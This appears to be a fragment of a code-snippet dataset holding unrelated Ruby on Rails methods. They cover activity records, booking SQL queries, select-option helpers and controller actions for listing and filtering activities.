\"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a632.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a632.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a632.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a632.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a633 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE360\").first.id, code: \"135\").first_or_create!(name: \"Bioreactor Engineering\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at633 = ActivityTimetable.where(activity_id: a633.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 6, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a633.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a633.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a633.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a633.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a633.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a634 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AMR131\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at634 = ActivityTimetable.where(activity_id: a634.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 6, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"To run before DC Circuits\",\n capacity: 140, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a634.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a634.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a634.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a634.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a634.id, programme_id: $prog_amrc.id).first_or_create!\n \nend", "def add_activities!(activities)\n activities.each do |activity|\n activity.slot.series.each do |time|\n activity.courts.each do |court|\n grid.fill(time, court.id, Table::Cell::Activity.new(activity,time))\n end\n end\n end\n end", "def programmed_activities(date_from, date_to)\n\n sql = <<-SQL\n select oi.date, oi.time, oi.date_to, oi.time_to, oi.item_id, \n oi.item_description, sum(oi.quantity) as occupation,\n a.schedule_color, a.duration_days, a.duration_hours\n from orderds_orders o\n join orderds_order_items oi on oi.order_id = o.id\n join bookds_activities a on a.code = oi.item_id\n where o.status in (2) and oi.date >= ? and oi.date <= ?\n group by oi.date, oi.time, oi.date_to, oi.time_to, oi.item_id, oi.item_description, a.schedule_color, a.duration_days, a.duration_hours\n order by oi.date asc, oi.time asc, oi.item_id\n SQL\n\n programmed_activities = repository.adapter.select(sql, date_from, date_to) \n\n end", "def select_list; end", "def activities(date)\n\n sql =<<-SQL\n select o_i.id, o_i.date, o_i.time, o_i.item_id, o_i.item_description, \n o_i.item_price_description,\n o_i.quantity, o_i.item_unit_cost, o_i.item_cost, o_i.item_price_type,\n o_i.comments, o_i.notes, o_i.customers_pickup_place,\n o.id as order_id, o.customer_name, o.customer_surname, o.customer_email,\n o.customer_phone, o.comments as order_comments,\n case o.status\n when 1 then 'pending_confirmation'\n when 2 then 'confirmed'\n when 3 then 'cancelled'\n end as status, \n a.capacity\n from orderds_order_items o_i\n join orderds_orders o on o.id = o_i.order_id\n join bookds_activities a on a.code = o_i.item_id\n where o.status NOT IN (3) and o_i.date = ? \n order by o_i.date, o_i.time, o_i.item_id, o.customer_surname, o.customer_name\n SQL\n\n orders = repository.adapter.select(sql, date)\n\n end", "def current_activities\n ids = self.activities.pluck(:id) + ActivitySequence.where(strategy_id: self.id).pluck(:current_activity_id)\n if (ids.size > 0)\n ids.delete(nil) # hack for now\n Activity.where( \"id in (#{ids.join(',')})\")\n else \n Activity.where(\"1=0\") # hack to return empty AR relation. \n end\n end", "def set_selections( action )\n @sir_groups = Group.active_only.participants_only.collect{ |g| [ g.code_and_label, g.id ]}\n @sir_phases = PhaseCode.all.order( :code ).collect{ |p| [ p.code_and_label, p.id ]}\n end", "def click_on_activity?(options, count = 1)\n result = true\n (send SELECTOR_MAPPING[ACTIVITY_RESULTS]['Row Activity']['items'][ELEMENT] .to_sym)\n .to_a\n .keep_if { |row| options.collect { |key, value| value }.all? { |item| row.text.include? item } }\n .slice(0, 1)\n .cycle(count) { |elm| elm.click }\n return result\n end", "def select_items\n text = input\n case text\n\n when \"Plate.where(color:\\\"white\\\")\", \"Plate.where()\",\n \"Plate.where(:id=>1)\",\"Plate.where(:id=>1)[0]\",\n \"Plate.where({color:\\\"white\\\"})\", \"Plate.where({:id=>1})\", \"Plate.all\"\n\n res = true\n selections.each do |s|\n s.update(selected: true)\n end\n p \"he\"\n\n when \"Plate.where(id:1).first\", \"Plate.where(id:1)[0]\",\n \"Plate.where(:id=>1).first\",\"Plate.where(:id=>1)[0]\",\n \"Plate.where({:id=>1})[0]\", \"Plate.where({:id=>1}).first\",\n \"Plate.find_by(id:1)\", \"Plate.find_by(:id=>1)\", \"Plate.find(1)\"\n\n res = true\n selections.first.update(selected: true)\n when \"Plate.where(id:2).first\", \"Plate.where(id:2)[0]\",\n \"Plate.where(:id=>2).first\",\"Plate.where(:id=>2)[0]\",\n \"Plate.where({:id=>2})[0]\", \"Plate.where({:id=>2}).first\",\n \"Plate.find_by(id:2)\", \"Plate.find_by(:id=>2)\", \"Plate.find(2)\"\n\n res = true\n selections.second.update(selected: true)\n\n when \"Plate.where({:id=>2})\", \"Plate.where(id:2)\", \"Plate.where({:id=>2})\",\n \"Plate.where(id:2)\", \"Plate.where(:id=>2)\"\n\n collection_returned = true\n res = false\n else\n res = false\n end\n\n end", "def set_activities_list\n @activities_list = ActivitiesList.find(params[:id])\n end", "def all_activities(**args)\n params = parameters(args) do\n optional_params :user_id, :filter_id, :type, :start, :limit, :start_date, :end_date, :done\n end\n request(:get, 'activities', params)\n end", "def activities(options)\n activities_request build_url_parameters(options).merge(detailed: true)\n end", "def select_from(list, &instructions)\n list.map do |item|\n if instructions.call(item)\n item\n end\n end.compact\nend", "def public_programmed_activities(date_from)\n\n sql = <<-SQL\n select oi.date, oi.time, oi.date_to, oi.time_to, oi.item_id, \n oi.item_description, sum(oi.quantity) as occupation\n from orderds_orders o\n join orderds_order_items oi on oi.order_id = o.id\n join bookds_activities a on a.code = oi.item_id\n where o.status in (2) and oi.date > ? \n group by oi.date, oi.time, oi.date_to, oi.time_to, oi.item_id, \n oi.item_description\n order by oi.date asc, oi.time asc, oi.item_id\n SQL\n\n programmed_activities = repository.adapter.select(sql, date_from) \n\n\n end", "def select_activity_for_mail(list, cli)\n if !(list.instance_of? Project) && !(list.instance_of? Milestone) && !(list.instance_of? Form) && !(list.instance_of? Client) && !(list.instance_of? Contact)\n if list.user.type != \"Contact\"\n utag = '<p><strong>'+list.user.name+'</strong> '\n else\n utag = '<p><strong>'+list.user.name+'</strong> (<a href=\"/clients/'+list.user.client.id.to_s+'\" class=\"clientLink\">'+list.user.client.name+'</a>) '\n end\n end\n\t\tif list.updated_at.day == Date.current.day\n\t\t\tto_print = \"Hoy \" + list.updated_at.strftime(\"%H:%M\").to_s\n\t\telse\n\t\t\tif list.updated_at.day + 1 == Date.current.day\n\t\t\t\tto_print = \"Ayer \" + list.updated_at.strftime(\"%H:%M\").to_s\n\t\t\telse\n\t\t\t\tto_print = list.updated_at.strftime(\"%b %d\").to_s\n\t\t\tend\n\t\tend\n\t\tif (list.instance_of? Mood)\n\t\t\tif list.mood == \"Happy\"\n \tfacemood = \" \" + I18n.t('mood.happy') + \" \"\n \telsif list.mood == \"Satisfied\"\n \t\tfacemood = \" \" + I18n.t('mood.satisfied') + \" \"\n \telsif list.mood == \"Neutral\"\n \t\tfacemood = \" \" + I18n.t('mood.neutral') + \" \"\n \telsif list.mood == \"Sad\"\n \t\tfacemood = \" \" + I18n.t('mood.sad') + \" \"\n \telse\n \t\tfacemood = \" \" + I18n.t('mood.angry') + \" \"\n end\n\t\tend\n\t\tif list.updated_at > 7.days.ago\n\t\t\tif list.updated_at == list.created_at\n\t\t\t\tif (list.instance_of? Comment) && (cli.projects.find_by_id(list.content.project.id.to_s))\n\t\t\t\t\t@was_activity = true\n\t\t\t\t\trender :inline => utag+t('comment.cup')+' <a href=\"/projects/'+list.content.project.id.to_s+'\"\n\t\t \t\tclass=\"projectLink\">'+ list.content.project.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t \telsif (list.instance_of? Content) && (cli.projects.find_by_id(list.project.id.to_s))\n\t \t\t@was_activity = true\n\t \t\trender :inline => utag+t('content.cup')+ ' ' +list.content_type+' ' + t('content.oncup') +' <a href=\"/projects/'+list.project.id.to_s+'\"\n\t \t\tclass=\"projectLink\">'+ list.project.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t \telsif (list.instance_of? Mood) && (cli.projects.find_by_id(list.project.id.to_s))\n\t \t\t@was_activity = true\n\t \t\trender :inline => utag+t('mood.cup')+ facemood + t('mood.oncup') + ' ' + '<a href=\"/projects/'+list.project.id.to_s+'\"\n\t \t\tclass=\"projectLink\">'+ list.project.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p>'\n\t \telsif (list.instance_of? Project) && (cli.projects.find_by_id(list.id.to_s))\n\t \t\t@was_activity = true\n\t \t\trender :inline => t('project.pup')+ ' <a href=\"/projects/'+list.id.to_s+'\"\n\t \t\tclass=\"projectLink\">'+ list.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t \telsif (list.instance_of? Milestone) && (cli.projects.find_by_id(list.project.id.to_s))\n\t \t\t@was_activity = true\n\t \t\trender :inline => t('milestone.mup')+' <a href=\"/projects/'+list.project.id.to_s+'\"\n\t \t\tclass=\"projectLink\">'+ list.project.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t \telsif (list.instance_of? Client) && (list.id == cli.id)\n\t \t\t@was_activity = true\n\t \t\trender :inline => t('client.cup')+ ' <a href=\"/clients/'+list.id.to_s+'\"\n\t \t\tclass=\"clientLink\">'+ list.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t \telsif (list.instance_of? Contact) && (list.client.id == cli.id)\n\t \t\t@was_activity = true\n\t \t\trender :inline => t('contact.cup')+' <strong>'+list.name + ' </strong>' + t('contact.toc') +' <a href=\"/clients/'+list.client.id.to_s+'\"\n\t \t\tclass=\"clientLink\">'+ list.client.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t \tend\n\t else\n\t\t if (list.instance_of? Client) && (list.id == cli.id)\n\t\t \t@was_activity = true\n\t\t \trender :inline => t('client.cmod')+ ' <a href=\"/clients/'+list.id.to_s+'\"\n\t\t \tclass=\"clientLink\">'+ list.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t\t\t\telsif (list.instance_of? Contact) && (cli.contacts.find(list.id))\n\t \t\t@was_activity = true\n\t \t\trender :inline => t('contact.cmod')+' <strong>'+list.name + ' </strong>' + t('contact.ctoc') +' <a href=\"/clients/'+list.client.id.to_s+'\"\n\t \t\tclass=\"clientLink\">'+ list.client.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t \telsif (list.instance_of? Milestone) && (cli.projects.find_by_id(list.project.id.to_s))\n\t \t\t@was_activity = true\n\t \t\trender :inline => t('milestone.mmod')+' <a href=\"/projects/'+list.project.id.to_s+'\"\n\t \t\tclass=\"projectLink\">'+ list.project.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t \telsif (list.instance_of? Content) && (cli.projects.find_by_id(list.project.id.to_s))\n\t \t\t@was_activity = true\n\t \t\trender :inline => utag+t('content.cmod')+ ' ' +list.content_type+' ' + t('content.oncup') +' <a href=\"/projects/'+list.project.id.to_s+'\"\n\t \t\tclass=\"projectLink\">'+ list.project.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t \telsif (list.instance_of? Comment) && (cli.projects.find_by_id(list.content.project.id.to_s))\n\t\t\t\t\t@was_activity = true\n\t\t\t\t\trender :inline => utag+t('comment.cmod')+' <a href=\"/projects/'+list.content.project.id.to_s+'\"\n\t \t\tclass=\"projectLink\">'+ list.content.project.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t \tend\n\t\t\tend\n\t\tend\n end", "def render_activities(activities, options = {})\n activities.map { |activity| Renderable.render(activity, self, options.dup) }.join.html_safe\n end", "def activities()\n sql = \"SELECT a.* FROM activities a INNER JOIN bookings b ON b.activities_id = a.id WHERE b.members_id =$1\"\n values = [@id]\n result = SqlRunner.run(sql, values)\n return result.map { |session| Activity.new( session) }\n end", "def set_collection_select\n @facultades = Facultad.all\n @programas = Programa.all\n @grupos = Grupo.all\n @semilleros = Semillero.all\n @investigadores = Investigador.all\n end", "def select(*rest) end", "def select(*rest) end", "def activity_filter(activities_object, *dont_include)\n dont_include = [dont_include] unless dont_include.is_a?(Array)\n activity_types = Activity.where(:id => activities_object.id).select(\"DISTINCT(template)\")\n #activity_types = activities_object.activities.select(\"DISTINCT(activities.template)\")\n filter_types = activity_types.find_all {|activity| !dont_include.include?(activity.template)}\n render :partial => 'activities/template_filter', :locals => { :activity_types => filter_types, :dont_include => dont_include }\n end", "def items\n load_selection\n import_selection or render_select\n end", "def actor_collection_for_select_options(project, actor)\r\n # Return empty list if actor is not a sender nor a receiver\r\n return [] unless actor.in?(['sender', 'receiver'])\r\n # Gets the opposite actor of the actor given sender -> receiver, etc.\r\n actor_opposite = actor == 'sender' ? 'receiver' : 'sender'\r\n\r\n # Gets the type of the sender/receiver, User or Role\r\n receiver_type = @receiver_type# || LeavesHolidaysManagements.default_actor_type\r\n sender_type = @sender_type#|| LeavesHolidaysManagements.default_actor_type\r\n\r\n # If actor is the sender, get sender type. otherwise, get receiver type\r\n actor_type = actor == 'sender' ? sender_type : receiver_type\r\n actor_opposite_type = actor_opposite == 'sender' ? sender_type : receiver_type\r\n # Get a list of roles or users with regards to the actor type provided\r\n list = project.send(actor_type.underscore + \"_list\")\r\n\r\n # Get the list of ids already selected previously for the other actor\r\n list_opposite_ids = actor_opposite == 'sender' ? @sender_list_id : @receiver_list_id\r\n \r\n # if the list is not empty\r\n if list_opposite_ids\r\n list_opposite = list_opposite_ids.map{|e| e.to_i}\r\n if actor_type == actor_opposite_type\r\n list.delete_if {|l| l.id.in?(list_opposite)}\r\n return list.map{|l| [l.name, l.id]}\r\n else\r\n if actor_opposite_type == 'Role' && actor_type == 'User'\r\n actor_opposite_roles_selected = Role.where(id: list_opposite).to_a\r\n actor_opposite_associated_user_ids = project.users_for_roles(actor_opposite_roles_selected).map(&:id)\r\n list.delete_if {|l| l.id.in?(actor_opposite_associated_user_ids)}\r\n return list.map{|l| [l.name, l.id]}\r\n end\r\n end\r\n end\r\n\r\n return list.map{|l| [l.name, l.id]}.sort_by{|t| t[0]}\r\n end", "def actor_collection_for_select_options(project, actor)\r\n # Return empty list if actor is not a sender nor a receiver\r\n return [] unless actor.in?(['sender', 'receiver'])\r\n # Gets the opposite actor of the actor given sender -> receiver, etc.\r\n actor_opposite = actor == 'sender' ? 'receiver' : 'sender'\r\n\r\n # Gets the type of the sender/receiver, User or Role\r\n receiver_type = @receiver_type# || LeavesHolidaysManagements.default_actor_type\r\n sender_type = @sender_type#|| LeavesHolidaysManagements.default_actor_type\r\n\r\n # If actor is the sender, get sender type. otherwise, get receiver type\r\n actor_type = actor == 'sender' ? sender_type : receiver_type\r\n actor_opposite_type = actor_opposite == 'sender' ? sender_type : receiver_type\r\n # Get a list of roles or users with regards to the actor type provided\r\n list = project.send(actor_type.underscore + \"_list\")\r\n\r\n # Get the list of ids already selected previously for the other actor\r\n list_opposite_ids = actor_opposite == 'sender' ? @sender_list_id : @receiver_list_id\r\n list_opposite_exception_ids = actor_opposite == 'sender' ? @sender_exception_id : @receiver_exception_id\r\n list_opposite_exception_ids ||= []\r\n # if the list is not empty\r\n if list_opposite_ids\r\n list_opposite = list_opposite_ids.map{|e| e.to_i}\r\n if actor_type == actor_opposite_type\r\n list.delete_if {|l| l.id.in?(list_opposite)}\r\n return list.map{|l| [l.name, l.id]}\r\n else\r\n if actor_opposite_type == 'Role' && actor_type == 'User'\r\n actor_opposite_roles_selected = Role.where(id: list_opposite).to_a\r\n actor_opposite_associated_user_ids = project.users_for_roles(actor_opposite_roles_selected).map(&:id)\r\n list.delete_if {|l| l.id.in?(actor_opposite_associated_user_ids - list_opposite_exception_ids.map(&:to_i))}\r\n return list.map{|l| [l.name, l.id]}\r\n end\r\n end\r\n end\r\n\r\n return list.map{|l| [l.name, l.id]}.sort_by{|t| t[0]}\r\n end", "def with_any_approvals(items)\n items.select_from_union([\n items.with_approvals\n ])\n end", "def search_activity\n case activity\n when \"voted\"\n query\n .includes(:votes)\n .where(decidim_opinions_opinion_votes: { decidim_author_id: @current_user })\n when \"my_opinions\"\n query\n .where.not(coauthorships_count: 0)\n .joins(:coauthorships)\n .where(decidim_coauthorships: { decidim_author_type: \"Decidim::UserBaseEntity\" })\n .where(decidim_coauthorships: { decidim_author_id: @current_user })\n else # Assume 'all'\n query\n end\n end", "def activities\n Activity.\n includes(:activity_objects => self.class.to_s.underscore).\n where(\"#{ self.class.quoted_table_name }.id\" => self.id)\n end", "def selected\n tasks = []\n @widget.selection.selected_each do |model, path, iter|\n tasks << iter[0]\n end\n return tasks\n end", "def activities(per_page: nil, page: nil)\n if page || per_page\n get_activities(per_page: per_page, page: page)\n else\n get_activities if @activities.empty?\n @activities.values\n end\n end", "def select_multiple(*values)\n clear\n values.flatten.each{ |value| select(value) }\n end", "def selected_features(activating_contexts, active_contexts)\n concerned = concerned_features(activating_contexts)\n selected = []\n # activated_contexts = activating_contexts + active_contexts\n \n concerned.each {\n |feature|\n concerned_contexts = @feature_to_contexts[feature]\n # TODO remove already active features from active contexts\n # then create relevant_contexts and include feature in\n # selected the number of times its mapping appears in\n # relevant_contexts\n }\n end", "def index\n @filter = ActivityFilter.new(params[:filter])\n unless params[:filter]\n @activities = current_user.activities.includes([:target, :object, :user, :object, :actor, :tags]).order(\"posted_time desc\").all\n else\n if params[:filter][:tags].nil?\n @activities = current_user.activities.filter_advanced(@filter.options).order('posted_time desc').all\n else\n @activities = current_user.activities.tagged_with(params[:filter][:tags].split(','), :match_all => true).filter_advanced(@filter.options).order('posted_time desc').all\n end\n end\n \n if params[:format] == 'js'\n @activities = Activity.to_calendar(@activities) \n elsif params[:format] == 'html' or params[:format].nil?\n @activities = @activities.paginate(:per_page => 10, :page => params[:page]) \n elsif params[:format] == 'json'\n items = {:data => {:items => []}}\n @activities.each do |activity|\n items[:data][:items].push activity.to_json\n end\n end\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @activities }\n format.json { render :json => items.to_json}\n format.js { render :json => @activities.to_json}\n end\n end", "def find_by_target_with_activities(target, activities)\n return [] if target.nil?\n\n target_id = target.id.to_s\n target_type = target.class.name\n activity_ids = activities.map &:id\n with_endpoint do |endpoint|\n endpoint.find_actors_by_target_and_target_type_and_activities(target_id, target_type, activity_ids)\n end\n end", "def activities=(value)\n @activities = value\n end", "def select(*components)\n components.collect do |c|\n if component.include?(c)\n self.__send__(c)\n else\n raise ArgumentError,\n \"expected of components of #{self.class} (#{self.class.component.join(', ')})\"\n end\n end\n end", "def set_activity_list\n @activity_list = ActivityList.find(params[:id])\n end", "def teacher_activities_and_tags\n\n\t\ttag_ids = params[:tag_ids] && !params[:tag_ids].eql?(\"[]\") ? JSON.parse(params[:tag_ids]) : nil\n\n\t\tif(params[:search_term].nil? && tag_ids.nil?)\n\t\t\t\n\t\t\tactivities = Activity.where({teacher_user_id: @current_teacher_user.id}).as_json\n\n\t\t\tactivity_ids = Activity.joins(:activity_tags)\n\t\t\t\t.where({teacher_user_id: @current_teacher_user.id})\n\t\t\t\t.pluck(:id).as_json\n\n\t\telsif tag_ids\n\n\t\t\tactivities = Activity.joins(:activity_tags)\n\t\t\t\t.where({teacher_user_id: @current_teacher_user.id})\n\t\t\t\t.where(\"activity_tags.id in (?)\", tag_ids)\n\t\t\t\t.distinct\n\t\t\t\t.as_json\n\n\t\t\tactivity_ids = Activity.joins(:activity_tags)\n\t\t\t\t.where({teacher_user_id: @current_teacher_user.id})\n\t\t\t\t.where(\"activity_tags.id in (?)\", tag_ids)\n\t\t\t\t.distinct\n\t\t\t\t.pluck(:id)\n\t\t\t\t.as_json\n\n\t\telsif params[:search_term]\n\t\t\t\n\t\t\tactivities = Activity.joins(:activity_tags)\n\t\t\t\t.where({teacher_user_id: @current_teacher_user.id})\n\t\t\t\t.where(\"lower(activity_tags.name) like ? or lower(activities.name) like ? or lower(activities.description) like ?\", \"%#{params[:search_term].downcase}%\", \"%#{params[:search_term].downcase}%\", \"%#{params[:search_term].downcase}%\")\n\t\t\t\t.distinct\n\t\t\t\t.as_json\t\t\t\n\n\t\t\tactivity_ids = Activity.joins(:activity_tags)\n\t\t\t\t.where({teacher_user_id: @current_teacher_user.id})\n\t\t\t\t.where(\"lower(activity_tags.name) like ? or lower(activities.name) like ? or lower(activities.description) like ?\", \"%#{params[:search_term].downcase}%\", \"%#{params[:search_term].downcase}%\", \"%#{params[:search_term].downcase}%\")\t\t\t\t\n\t\t\t\t.pluck(:id)\n\t\t\t\t.as_json\n\n\t\tend\n\n\t\ttags = ActivityTag.joins(:activity_tag_pairings)\n\t\t\t.where(\"activity_tag_pairings.activity_id\" => activity_ids)\n\t\t\t.select(\"activity_tags.*, activity_tag_pairings.activity_id\")\n\t\t\t.as_json\t\t\n\n\t\tactivities_indices = Hash.new\n\t\tactivities.each_with_index do |activity, index|\n\t\t\tactivities_indices[activity[\"id\"]] = index\n\t\t\tactivity[\"tags\"] = Array.new\n\t\t\tactivity[\"classroom_activity_pairing\"] = nil\n\t\tend\n\n\t\ttags.each do |tag|\n\t\t\t\n\t\t\tindex = activities_indices[tag[\"activity_id\"]]\t\t\t\n\t\t\tactivities[index][\"tags\"].push(tag)\n\t\tend\n\n\t\tif params[:classroom_id]\n\t\t\tcaps = ClassroomActivityPairing.where(classroom_id: params[:classroom_id]).as_json\n\t\t\tcaps.each do |cap|\n\t\t\t\tindex = activities_indices[cap[\"activity_id\"]]\n\t\t\t\tactivities[index][\"classroom_activity_pairing\"] = cap\n\t\t\tend\n\t\tend\n\n\t\trender json: {status: \"success\", activities: activities}\n\n\tend", "def find_all &filter\n result_set = self.driver.activities.find_all { |activity| activity.start_date >= @start_date && activity.start_date <= @end_date }\n\n if filter\n return result_set.find_all &filter \n end\n\n result_set\n end", "def select_all(arel, name = nil, binds = NO_BINDS, preparable: nil, async: false)\n binds = convert_legacy_binds_to_attributes(binds) if binds.first.is_a?(Array)\n super\n end", "def programmed_activities_plus_pending(date_from, date_to)\n\n sql = <<-SQL\n select oi.date, oi.time, oi.date_to, oi.time_to, oi.item_id, CAST (oi.status as UNSIGNED) as status,\n oi.item_description, sum(oi.quantity) as occupation,\n a.schedule_color, a.duration_days, a.duration_hours\n from orderds_orders o\n join orderds_order_items oi on oi.order_id = o.id\n join bookds_activities a on a.code = oi.item_id\n where o.status in (1,2) and oi.date >= ? and oi.date <= ?\n group by oi.date, oi.time, oi.date_to, oi.time_to, oi.item_id, oi.item_description, a.schedule_color, a.duration_days, a.duration_hours, oi.status\n order by oi.date asc, oi.time asc, oi.item_id\n SQL\n\n activities = repository.adapter.select(sql, date_from, date_to).inject([]) do |result, value|\n index = result.index { |x| x.date == value.date and x.time == value.time and\n x.date_to == value.date_to and x.time_to == value.time_to and\n x.item_id == value.item_id and x.schedule_color == value.schedule_color and\n x.duration_days == value.duration_days and x.duration_hours == value.duration_hours\n }\n if index\n if value.status == 1\n result[index].pending_confirmation = value.occupation\n elsif value.status == 2\n result[index].confirmed = value.occupation\n end\n else \n data = {date: value.date,\n time: value.time,\n date_to: value.date_to,\n time_to: value.time_to,\n item_id: value.item_id,\n item_description: value.item_description,\n schedule_color: value.schedule_color,\n duration_days: value.duration_days,\n duration_hours: value.duration_hours,\n pending_confirmation: (value.status == 1 ? value.occupation : 0),\n confirmed: (value.status == 2 ? value.occupation : 0),\n }\n result << OpenStruct.new(data)\n end \n result\n end\n\n\n\n end", "def activity\n if !current_group.nil?\n \t ideas = Idea.find_all_by_group_id(current_user.groups.map(&:id))\n else\n ideas = current_user.ideas\n end\n \t@activities = Activity.find_all_by_idea_id(ideas.map(&:id))\n end", "def getMEELeadActivities\n users = User.all.pluck(:id)\n activities = []\n users.each do |id|\n username = User.find(id).display_name\n #create list of [[user, [their activities...]]...]\n activities.push([username, Activity.where(user_id: id)]) \n end\n return activities \n end", "def selectables(f, value, group)\n\t\trender :partial => \"shared/forms/panel/selection\", :locals => { :f => f, :value => value, :group => group, :select_class => \"selectables\", :selected_value => nil }\n\tend", "def index\n @activities = Activity.where('deleted IS NULL OR deleted != 1')\n @activities = @activities.merge Activity.where([\"start >= ?\", params[:start] || Time.now])\n @activities = @activities.merge Activity.where([\"finish <= ?\", params[:finish]]) if params[:finish]\n @activities = @activities.merge Activity.limit(params[:limit] || 50)\n respond_with @activities\n end", "def selectElements\n ([expression] + elements).compact if select\n end", "def select_activity_single(menu)\n selection = TTY::Prompt.new.select(\"Choose an activity:\", menu, cycle: true, marker: '>', echo: false)\n @activities.each { |activity| return activity if activity.name == selection }\n \n end", "def activities(params = {})\n rv = []\n try_again = true\n fetched = 0\n p = params.dup\n p[:offset] = 0\n\n while try_again do\n result = api_call(ROOT_ACTIVITIES, p)\n return nil if result.nil?\n rv += result[:results]\n\n meta = result[:meta]\n fetched += meta[:count]\n if fetched >= meta[:total]\n try_again = false\n else\n p[:offset] += meta[:count]\n end\n end\n\n rv\n end", "def get_all_activities\n \tself.is_manager? ? Activity.all : Activity.joins(:task).where(:tasks => { user_id: self.id })\n end", "def get_filtered_activities(filter, time)\n activities(time, filter)\n end", "def all_activities\n if user.present?\n Activity.where('(activity_owner_id = :activity_owner_id and activity_owner_type = :activity_owner_type) or user_id = :user_id',\n activity_owner_id: id, activity_owner_type: self.class.name, user_id: user.id).order(created_at: :desc)\n else\n activities\n end\n end", "def process_select_options(os)\n vm = @opts[:value_method]\n tm = @opts[:text_method]\n sel = @opts[:selected] || @attr[:value]\n\n if @opts[:multiple]\n sel = Array(sel)\n cmp = lambda{|v| sel.include?(v)}\n else\n cmp = lambda{|v| v == sel}\n end\n\n os.map do |x|\n attr = {}\n if tm\n text = x.send(tm)\n val = x.send(vm) if vm\n elsif x.is_a?(Array)\n text = x.first\n val = x.last\n\n if val.is_a?(Hash)\n value = val[:value]\n attr.merge!(val)\n val = value\n end\n else\n text = x\n end\n\n yield [text, val, !val.nil? ? cmp.call(val) : cmp.call(text), attr]\n end\n end", "def show\n @customers = Person.where(role_type: 1)\n @advisors = Person.where(role_type: 2)\n @number_of_participants = Activity.where(event_id: params[:id], attendance_type: 1).count\n case params[:q]\n when 'presentee'\n @customer_activities = Activity.includes(:person).where(event_id: params[:id], attendance_type: 1).where('people.role_type = 1')\n @advisor_activities = Activity.includes(:person).where(event_id: params[:id], attendance_type: 1).where('people.role_type = 2')\n @fixed_customer_activities = Activity.where(event_id: params[:id], attendance_type: 1).where(fixed_role_type: 1)\n @fixed_advisor_activities = Activity.where(event_id: params[:id], attendance_type: 1).where(fixed_role_type: 2)\n when 'absentee'\n @customer_activities = Activity.includes(:person).where(event_id: params[:id], attendance_type: 2).where('people.role_type = 1')\n @advisor_activities = Activity.includes(:person).where(event_id: params[:id], attendance_type: 2).where('people.role_type = 2')\n @fixed_customer_activities = Activity.where(event_id: params[:id], attendance_type: 2).where(fixed_role_type: 1)\n @fixed_advisor_activities = Activity.where(event_id: params[:id], attendance_type: 2).where(fixed_role_type: 2)\n else\n @customer_activities = Activity.includes(:person).where(event_id: params[:id]).where('people.role_type = 1')\n @advisor_activities = Activity.includes(:person).where(event_id: params[:id]).where('people.role_type = 2')\n @fixed_customer_activities = Activity.where(event_id: params[:id]).where(fixed_role_type: 1)\n @fixed_advisor_activities = Activity.where(event_id: params[:id]).where(fixed_role_type: 2)\n end\n respond_to do |format|\n format.html\n format.csv do\n send_data 